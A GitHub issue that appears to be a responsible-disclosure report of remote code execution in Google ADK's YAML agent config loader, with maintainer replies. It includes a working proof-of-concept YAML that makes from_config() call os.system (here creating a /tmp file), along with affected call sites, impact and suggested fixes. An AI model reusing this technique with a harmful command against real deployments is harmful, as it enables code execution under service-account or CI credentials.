Repository navigation
v1.31.1 _check_yaml_for_blocked_keys not wired into default from_config() path #5532
Description
Observation
v1.31.1 added _check_yaml_for_blocked_keys to block args keys in YAML
agent configs (changelog: "block RCE vulnerability via nested YAML
configurations in ADK"). The check is gated behind an opt-in flag
_set_enforce_denylist(True) and is not called from
config_agent_utils._load_config_from_path. Default from_config() runs the
CodeConfig.args callable on every load.
PR #5344 was closed; the maintainer comment scoped the issue to the
/builder web endpoint and noted adk web as a developer tool. The
v1.31.1 fix covers that boundary. The non-/builder call sites listed below
are not covered.
Affected call sites in v1.31.1+
src/google/adk/cli/cli_deploy.py— Agent Engine deployment template:
root_agent = config_agent_utils.from_config(config_path)src/google/adk/cli/utils/agent_loader.py—_load_from_yaml_config()
callsconfig_agent_utils.from_config(config_path). Reached byadk run,
adk web,adk deploy.
Reproduction
google-adk v1.31.1, fresh venv, no _set_enforce_denylist(True) call.
# exploit.yaml
agent_class: LlmAgent
name: exploit_agent
instruction: "."
model: "gemini-2.5-flash"
output_schema:
name: os.system
args:
- value: "touch /tmp/adk-rce-$$"from google.adk.agents.config_agent_utils import from_config
try: from_config('exploit.yaml')
except Exception: passResult: /tmp/adk-rce-<pid> exists. The pydantic.ValidationError raised by
the LlmAgent constructor is post-exploit.
input_schema is interchangeable with output_schema. model_code is gated
by _require_llm_agent_model and _validate_model_sources; the other two
are not.
Verified against PyPI v1.31.1 and main at
3e282d2cabb52daf7a3aab6344334788fe9a151d (2026-04-28).
Impact
The payload runs as the ADK process identity at agent load.
- Vertex AI Agent Engine deployments: payload runs as the agent's runtime
service account and inherits its IAM bindings. adk run/adk web/adk deployfrom a developer workstation: payload
runs as the developer's user.- CI runner that runs
adkagainst a tree containing the payload YAML
(lint, deploy preview, integration test): payload runs with CI credentials.
Persistence: every reload of the poisoned config re-runs the payload.
Suggested fix
- Default
_ENFORCE_DENYLIST = Trueand call
_check_config_for_blocked_keysfrom_load_config_from_path. Provide an
opt-out for trusted-source loads. - Add an
untrusted=Trueparameter tofrom_config()that activates the
denylist. Propagate fromcli_deploy.pyandagent_loader.py. - Split
CodeConfiginto a trusted form and anUntrustedCodeConfig
without anargsfield. Bind YAML-sourcedLlmAgentConfigfields to the
latter.
Disclosure
Reported via g.co/vulnz on 2026-04-18 (Issue Tracker #503880658). Closed as
Won't Fix (Intended Behavior) on 2026-04-28 with guidance to pursue the fix
via public maintainer channels. Filing this issue per that guidance.
Related: closed PR #5344, comment by @sasha-gitg
(#5344 (comment)).
Activity
surajksharma07 commentedon May 8, 2026
@vexlorn Thanks for the thorough breakdown and for already having #5533 ready — the gap with _ENFORCE_DENYLIST defaulting to False across all non-builder call sites is clear and well-documented here.
As a temporary workaround, try calling google.adk.agents.config_agent_utils._set_enforce_denylist(True) early at process startup and confirm it fully blocks the exploit on your end before the PR lands.
Could you drop the test results in #5533 if that validates cleanly against your original PoC?
Also make sure to run a few clean YAML configs through it to confirm no regressions before pushing for the merge — want to be confident the fix doesn't break legitimate use cases on the way in!
Team is looking more into it.
Thanks!
surajksharma07 commentedon May 22, 2026
@vexlorn — closing this out for now since we haven't heard back after the asks two weeks ago: confirming the _set_enforce_denylist(True) workaround fully blocks your PoC, dropping test results in #5533, and running clean YAML configs through to verify no regressions.
Quick update since your report: v1.32.0 wired the denylist check into adk web via fast_api.py calling _set_enforce_denylist(True) at startup, so the web path is now covered.
The remaining gap is adk run / adk deploy and direct from_config() usage, which is exactly what PR #5533 targets.
Once you've had a chance to update #5533 with test coverage and regression results, feel free to reopen this or ping on the PR — that'll help reviewers move it quickly!